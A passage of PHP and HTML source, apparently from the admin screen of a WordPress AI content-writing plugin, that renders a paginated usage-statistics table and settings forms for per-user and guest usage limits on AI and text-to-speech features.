$first_url . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M18.41 7.41L17 6l-6 6l6 6l1.41-1.41L13.83 12l4.58-4.59m-6 0L11 6l-6 6l6 6l1.41-1.41L7.83 12l4.58-4.59Z"></path></svg></a>'; echo ' <a href="' . $prev_url . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M15.41 16.58L10.83 12l4.58-4.59L14 6l-6 6l6 6l1.41-1.42Z"></path></svg></a>'; echo ' <span class="aiomatic-paging">' . esc_html__("Page", 'aiomatic-automatic-ai-content-writer') . ' ' . $shiftp . ' ' . esc_html__("of", 'aiomatic-automatic-ai-content-writer') . ' ' . $pages . '</span>'; echo ' <a href="' . $next_url . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M8.59 16.58L13.17 12L8.59 7.41L10 6l6 6l-6 6l-1.41-1.42Z"></path></svg></a>'; echo ' <a href="' . $last_url . '"><svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M5.59 7.41L7 6l6 6l-6 6l-1.41-1.41L10.17 12L5.59 7.41m6 0L13 6l6 6l-6 6l-1.41-1.41L16.17 12l-4.58-4.59Z"></path></svg></a>'; } else { echo ' <span class="aiomatic-results-count">' . $statistics_res['total'] . ' ' . esc_html__("results", 'aiomatic-automatic-ai-content-writer') . '</span>  '; echo ' <svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M18.41 7.41L17 6l-6 6l6 6l1.41-1.41L13.83 12l4.58-4.59m-6 0L11 6l-6 6l6 6l1.41-1.41L7.83 12l4.58-4.59Z"></path></svg>'; echo ' <svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M15.41 16.58L10.83 12l4.58-4.59L14 6l-6 6l6 6l1.41-1.42Z"></path></svg>'; echo ' <span class="aiomatic-paging">' . esc_html__("Page", 'aiomatic-automatic-ai-content-writer') . ' ' . '1' . ' ' . esc_html__("of", 'aiomatic-automatic-ai-content-writer') . ' ' . '1' . '</span>'; echo ' <svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M8.59 16.58L13.17 12L8.59 7.41L10 6l6 6l-6 6l-1.41-1.42Z"></path></svg>'; echo ' <svg xmlns="http://www.w3.org/2000/svg" focusable="false" class="aiomatic-paging-controller-icon disabled" width="1em" height="1em" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24" style="transform: rotate(360deg);"><path fill="currentColor" d="M5.59 7.41L7 6l6 6l-6 6l-1.41-1.41L10.17 12L5.59 7.41m6 0L13 6l6 6l-6 6l-1.41-1.41L16.17 12l-4.58-4.59Z"></path></svg>'; } echo '</div>'; echo '<table id="stat_table" class="widefat responsive table cr_main_table">'; $id_sort = aiomatic_add_to_url('pagesort', 'id'); $user_sort = aiomatic_add_to_url('pagesort', 'user'); $ip_sort = aiomatic_add_to_url('pagesort', 'ip'); $source_sort = aiomatic_add_to_url('pagesort', 'source'); $model_sort = aiomatic_add_to_url('pagesort', 'model'); $assistant_id_sort = aiomatic_add_to_url('pagesort', 'assistant_id'); $mode_sort = aiomatic_add_to_url('pagesort', 'mode'); $units_sort = aiomatic_add_to_url('pagesort', 'units'); $type_sort = aiomatic_add_to_url('pagesort', 'type'); $price_sort = aiomatic_add_to_url('pagesort', 'price'); $time_sort = aiomatic_add_to_url('pagesort', 'time'); $session_sort = aiomatic_add_to_url('pagesort', 'session'); if (isset($_GET['pageord']) && $_GET['pageord'] != '') { if($_GET['pageord'] == 'asc') { $id_sort = aiomatic_add_to_url('pageord', 'desc', $id_sort); $user_sort = aiomatic_add_to_url('pageord', 'desc', $user_sort); $ip_sort = aiomatic_add_to_url('pageord', 'desc', $ip_sort); $source_sort = aiomatic_add_to_url('pageord', 'desc', $source_sort); $model_sort = aiomatic_add_to_url('pageord', 'desc', $model_sort); $assistant_id_sort = aiomatic_add_to_url('pageord', 'desc', $assistant_id_sort); $mode_sort = aiomatic_add_to_url('pageord', 'desc', $mode_sort); $units_sort = aiomatic_add_to_url('pageord', 'desc', $units_sort); $type_sort = aiomatic_add_to_url('pageord', 'desc', $type_sort); $price_sort = aiomatic_add_to_url('pageord', 'desc', $price_sort); $time_sort = aiomatic_add_to_url('pageord', 'desc', $time_sort); $session_sort = aiomatic_add_to_url('pageord', 'desc', $session_sort); } elseif($_GET['pageord'] == 'desc') { $id_sort = aiomatic_add_to_url('pageord', 'asc', $id_sort); $user_sort = aiomatic_add_to_url('pageord', 'asc', $user_sort); $ip_sort = aiomatic_add_to_url('pageord', 'asc', $ip_sort); $source_sort = aiomatic_add_to_url('pageord', 'asc', $source_sort); $model_sort = aiomatic_add_to_url('pageord', 'asc', $model_sort); $assistant_id_sort = aiomatic_add_to_url('pageord', 'asc', $assistant_id_sort); $mode_sort = aiomatic_add_to_url('pageord', 'asc', $mode_sort); $units_sort = aiomatic_add_to_url('pageord', 'asc', $units_sort); $type_sort = aiomatic_add_to_url('pageord', 'asc', $type_sort); $price_sort = aiomatic_add_to_url('pageord', 'asc', $price_sort); $time_sort = aiomatic_add_to_url('pageord', 'asc', $time_sort); $session_sort = aiomatic_add_to_url('pageord', 'asc', $session_sort); } } else { $id_sort = aiomatic_add_to_url('pageord', 'asc', $id_sort); $user_sort = aiomatic_add_to_url('pageord', 'asc', $user_sort); $ip_sort = aiomatic_add_to_url('pageord', 'asc', $ip_sort); $source_sort = aiomatic_add_to_url('pageord', 'asc', $source_sort); $model_sort = aiomatic_add_to_url('pageord', 'asc', $model_sort); $assistant_id_sort = aiomatic_add_to_url('pageord', 'asc', $assistant_id_sort); $mode_sort = aiomatic_add_to_url('pageord', 'asc', $mode_sort); $units_sort = aiomatic_add_to_url('pageord', 'asc', $units_sort); $type_sort = aiomatic_add_to_url('pageord', 'asc', $type_sort); $price_sort = aiomatic_add_to_url('pageord', 'asc', $price_sort); $time_sort = aiomatic_add_to_url('pageord', 'asc', $time_sort); $session_sort = aiomatic_add_to_url('pageord', 'asc', $session_sort); } echo '<tr><th><a class="aiomatic_normal" href="' . $id_sort . '">' . esc_html__("ID", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('id'); echo '</a></th><th><a class="aiomatic_normal" href="' . $user_sort . '">' . esc_html__("User", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('user'); echo '</a></th><th><a class="aiomatic_normal" href="' . $ip_sort . '">' . esc_html__("IP", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('ip'); echo '</a></th><th><a class="aiomatic_normal" href="' . $source_sort . '">' . esc_html__("Source", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('source'); echo '</a></th><th><a class="aiomatic_normal" href="' . $model_sort . '">' . esc_html__("Model", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('model'); echo '</a></th><th><a class="aiomatic_normal" href="' . $assistant_id_sort . '">' . esc_html__("Assistant ID", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('assistant_id'); echo '</a></th><th><a class="aiomatic_normal" href="' . $mode_sort . '">' . esc_html__("Mode", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('mode'); echo '</a></th><th><a class="aiomatic_normal" href="' . $units_sort . '">' . esc_html__("Units", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('units'); echo '</a></th><th><a class="aiomatic_normal" href="' . $type_sort . '">' . esc_html__("Type", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('type'); echo '</a></th><th><a class="aiomatic_normal" href="' . $price_sort . '">' . esc_html__("Price", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('price'); echo '</a></th><th><a class="aiomatic_normal" href="' . $time_sort . '">' . esc_html__("Time", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('time'); echo '</a></th><th><a class="aiomatic_normal" href="' . $session_sort . '">' . esc_html__("Session ID", 'aiomatic-automatic-ai-content-writer'); aiomatic_display_arrows('session'); echo '</a></th></tr>'; $myusers = array(); foreach($statistics_res['rows'] as $stat_row) { if(!isset($myusers[$stat_row['userId']])) { $thisuser = get_user_by( 'id', $stat_row['userId'] ); if($thisuser !== false) { $myusers[$stat_row['userId']] = $thisuser->user_login; } } echo '<tr>'; echo '<td>' . $stat_row['id'] . '</td>'; if(isset($myusers[$stat_row['userId']])) { echo '<td>' . $myusers[$stat_row['userId']] . '</td>'; } else { echo '<td>ID: ' . $stat_row['userId'] . '</td>'; } echo '<td>' . $stat_row['ip'] . '</td>'; echo '<td>' . $stat_row['env'] . '</td>'; echo '<td>' . $stat_row['model'] . '</td>'; if(isset($stat_row['assistant_id']) && !empty($stat_row['assistant_id'])) { echo '<td>' . $stat_row['assistant_id'] . '</td>'; } else { echo '<td>-</td>'; } echo '<td>' . $stat_row['mode'] . '</td>'; echo '<td>' . $stat_row['units'] . '</td>'; echo '<td>' . $stat_row['type'] . '</td>'; if(aiomatic_is_aiomaticapi_key($stat_row['apiRef'])) { echo '<td>N/A</td>'; } else { echo '<td>' . $stat_row['price'] . '$</td>'; } echo '<td>' . $stat_row['time'] . '</td>'; echo '<td>' . $stat_row['session'] . '</td>'; echo '</tr>'; } echo '</table>'; echo '</div>'; } echo '</div>'; } else { echo esc_html__("You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Settings' menu to enable this feature.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> <form id="myForm" method="post" action="<?php if(is_multisite() && is_network_admin()){echo '../options.php';}else{echo 'options.php';}?>"> <?php settings_fields('aiomatic_option_group3'); do_settings_sections('aiomatic_option_group3'); ?> <div id="tab-6" class="tab-content"> <br/> <?php if (isset($aiomatic_Main_Settings['enable_tracking']) && $aiomatic_Main_Settings['enable_tracking'] === 'on') { ?> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <table class="widefat"> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable text-to-speech usage limits?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Text-to-Speech Usage Limits:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_limits_text" onclick="limitsTextChanged();" name="aiomatic_Limit_Settings[enable_limits_text]" <?php if ($enable_limits_text == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideTextLimits"><td colspan="2"><h3><?php echo esc_html__("Text-to-Speech Restrictions For Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of credits for logged in users. Also, you can select the type of credits: queries, tokens or price. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max User Credits:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="user_credits_text" step="0.01" min="0" placeholder="<?php echo esc_html__("Maximum Credits For Users", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Limit_Settings[user_credits_text]" value="<?php echo esc_html($user_credits_text); ?>"/> <select id="user_credit_type_text" name="aiomatic_Limit_Settings[user_credit_type_text]" > <option value="characters"<?php if ($user_credit_type_text == "characters") { echo " selected"; } ?>><?php echo esc_html__("Characters", 'aiomatic-automatic-ai-content-writer');?></option> <option value="queries"<?php if ($user_credit_type_text == "queries") { echo " selected"; } ?>><?php echo esc_html__("Queries", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the time frame for which to apply the above limitation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Time Frame:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="user_time_frame_text" name="aiomatic_Limit_Settings[user_time_frame_text]" > <option value="day"<?php if ($user_time_frame_text == "day") { echo " selected"; } ?>><?php echo esc_html__("Day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="week"<?php if ($user_time_frame_text == "week") { echo " selected"; } ?>><?php echo esc_html__("Week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="month"<?php if ($user_time_frame_text == "month") { echo " selected"; } ?>><?php echo esc_html__("Month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="year"<?php if ($user_time_frame_text == "year") { echo " selected"; } ?>><?php echo esc_html__("Year", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Absolute Timeframe:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="is_absolute_user_text" name="aiomatic_Limit_Settings[is_absolute_user_text]"<?php if ($is_absolute_user_text == 'on') echo ' checked '; ?>> </div> </td> </tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the users who will have full access when interacting with the features of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Full Access Users:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="ignored_users_text" name="aiomatic_Limit_Settings[ignored_users_text]" > <option value="admin"<?php if ($ignored_users_text == "admin") { echo " selected"; } ?>><?php echo esc_html__("Admins Only", 'aiomatic-automatic-ai-content-writer');?></option> <option value="editor"<?php if ($ignored_users_text == "editor") { echo " selected"; } ?>><?php echo esc_html__("Editors & Admins", 'aiomatic-automatic-ai-content-writer');?></option> <option value="none"<?php if ($ignored_users_text == "none") { echo " selected"; } ?>><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideTextLimits"><td colspan="2"><h3><?php echo esc_html__("Text-to-Speech Restrictions For Not Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of credits for guests who are not logged in. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Guest Credits:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="guest_credits_text" step="0.01" min="0" placeholder="<?php echo esc_html__("Maximum Credits For Guests", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Limit_Settings[guest_credits_text]" value="<?php echo esc_html($guest_credits_text); ?>"/> <select id="guest_credit_type_text" name="aiomatic_Limit_Settings[guest_credit_type_text]" > <option value="characters"<?php if ($guest_credit_type_text == "characters") { echo " selected"; } ?>><?php echo esc_html__("Characters", 'aiomatic-automatic-ai-content-writer');?></option> <option value="queries"<?php if ($guest_credit_type_text == "queries") { echo " selected"; } ?>><?php echo esc_html__("Queries", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdf"<?php if ($guest_credit_type_text == "pdf") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Page Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdfchar"<?php if ($guest_credit_type_text == "pdfchar") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Character Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the time frame for which to apply the above limitation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Time Frame:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="guest_time_frame_text" name="aiomatic_Limit_Settings[guest_time_frame_text]" > <option value="day"<?php if ($guest_time_frame_text == "day") { echo " selected"; } ?>><?php echo esc_html__("Day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="week"<?php if ($guest_time_frame_text == "week") { echo " selected"; } ?>><?php echo esc_html__("Week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="month"<?php if ($guest_time_frame_text == "month") { echo " selected"; } ?>><?php echo esc_html__("Month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="year"<?php if ($guest_time_frame_text == "year") { echo " selected"; } ?>><?php echo esc_html__("Year", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideTextLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Absolute Timeframe:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="is_absolute_guest_text" name="aiomatic_Limit_Settings[is_absolute_guest_text]"<?php if ($is_absolute_guest_text == 'on') echo ' checked '; ?>> </div> </td> </tr> </table> <div><p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p></div> <?php } else { echo esc_html__("You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Settings' menu to enable this feature.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> <div id="tab-2" class="tab-content"> <br/> <?php if (isset($aiomatic_Main_Settings['enable_tracking']) && $aiomatic_Main_Settings['enable_tracking'] === 'on') { ?> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <table class="widefat"> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a comma separated list of user IDs which are blocked from using the AI?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Restrict User IDs List From Using The AI:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_Limit_Settings[block_userids]" id="block_userids" placeholder="User IDs to block" value="<?php echo esc_attr($block_userids);?>" class="cr_width_full"/> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable global usage limits?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Global Usage Limits:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_limits" onclick="limitsChanged();" name="aiomatic_Limit_Settings[enable_limits]" <?php if ($enable_limits == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideLimits"><td colspan="2"><h3><?php echo esc_html__("AI Restrictions For Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of credits for logged in users. Also, you can select the type of credits: queries, tokens or price. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max User Credits:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="user_credits" step="0.01" min="0" placeholder="<?php echo esc_html__("Maximum Credits For Users", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Limit_Settings[user_credits]" value="<?php echo esc_html($user_credits); ?>"/> <select id="user_credit_type" name="aiomatic_Limit_Settings[user_credit_type]" > <option value="queries"<?php if ($user_credit_type == "queries") { echo " selected"; } ?>><?php echo esc_html__("Queries", 'aiomatic-automatic-ai-content-writer');?></option> <?php $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(empty($appids)) { $token = ''; } else { $token = $appids[array_rand($appids)]; } if(!aiomatic_is_aiomaticapi_key($token)) { ?> <option value="units"<?php if ($user_credit_type == "units") { echo " selected"; } ?>><?php echo esc_html__("Tokens", 'aiomatic-automatic-ai-content-writer');?></option> <option value="price"<?php if ($user_credit_type == "price") { echo " selected"; } ?>><?php echo esc_html__("Price", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdf"<?php if ($user_credit_type == "pdf") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Page Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdfchar"<?php if ($user_credit_type == "pdfchar") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Character Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the time frame for which to apply the above limitation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Time Frame:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="user_time_frame" name="aiomatic_Limit_Settings[user_time_frame]" > <option value="day"<?php if ($user_time_frame == "day") { echo " selected"; } ?>><?php echo esc_html__("Day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="week"<?php if ($user_time_frame == "week") { echo " selected"; } ?>><?php echo esc_html__("Week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="month"<?php if ($user_time_frame == "month") { echo " selected"; } ?>><?php echo esc_html__("Month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="year"<?php if ($user_time_frame == "year") { echo " selected"; } ?>><?php echo esc_html__("Year", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Absolute Timeframe:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="is_absolute_user" name="aiomatic_Limit_Settings[is_absolute_user]"<?php if ($is_absolute_user == 'on') echo ' checked '; ?>> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the users who will have full access when interacting with the features of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Full Access Users:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="ignored_users" name="aiomatic_Limit_Settings[ignored_users]" > <option value="admin"<?php if ($ignored_users == "admin") { echo " selected"; } ?>><?php echo esc_html__("Admins Only", 'aiomatic-automatic-ai-content-writer');?></option> <option value="editor"<?php if ($ignored_users == "editor") { echo " selected"; } ?>><?php echo esc_html__("Editors & Admins", 'aiomatic-automatic-ai-content-writer');?></option> <option value="none"<?php if ($ignored_users == "none") { echo " selected"; } ?>><?php echo esc_html__("None", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the message to be displayed to logged in users when usage limit is reached.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Message When Limit Reached (Logged In Users):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="1" cols="70" name="aiomatic_Limit_Settings[limit_message_logged]" placeholder="<?php echo esc_html__("Usage limit message", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($limit_message_logged); ?></textarea> </div> </td> </tr> <tr class="hideLimits"><td colspan="2"><h3><?php echo esc_html__("AI Restrictions For Not Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the maximum number of credits for guests who are not logged in. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Max Guest Credits:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="number" id="guest_credits" step="0.01" min="0" placeholder="<?php echo esc_html__("Maximum Credits For Guests", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Limit_Settings[guest_credits]" value="<?php echo esc_html($guest_credits); ?>"/> <select id="guest_credit_type" name="aiomatic_Limit_Settings[guest_credit_type]" > <option value="queries"<?php if ($guest_credit_type == "queries") { echo " selected"; } ?>><?php echo esc_html__("Queries", 'aiomatic-automatic-ai-content-writer');?></option> <?php if(!aiomatic_is_aiomaticapi_key($token)) { ?> <option value="units"<?php if ($guest_credit_type == "units") { echo " selected"; } ?>><?php echo esc_html__("Tokens", 'aiomatic-automatic-ai-content-writer');?></option> <option value="price"<?php if ($guest_credit_type == "price") { echo " selected"; } ?>><?php echo esc_html__("Price", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdf"<?php if ($guest_credit_type == "pdf") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Page Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pdfchar"<?php if ($guest_credit_type == "pdfchar") { echo " selected"; } ?>><?php echo esc_html__("Maximum Chatbot Uploaded PDF Character Count (Per PDF File)", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the time frame for which to apply the above limitation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Time Frame:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <select id="guest_time_frame" name="aiomatic_Limit_Settings[guest_time_frame]" > <option value="day"<?php if ($guest_time_frame == "day") { echo " selected"; } ?>><?php echo esc_html__("Day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="week"<?php if ($guest_time_frame == "week") { echo " selected"; } ?>><?php echo esc_html__("Week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="month"<?php if ($guest_time_frame == "month") { echo " selected"; } ?>><?php echo esc_html__("Month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="year"<?php if ($guest_time_frame == "year") { echo " selected"; } ?>><?php echo esc_html__("Year", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="hideLimits"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Absolute Timeframe:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="is_absolute_guest" name="aiomatic_Limit_Settings[is_absolute_guest]"<?php if ($is_absolute_guest == 'on') echo ' checked '; ?>> </div> </td> </tr> <tr class="hideLimits"> <td> 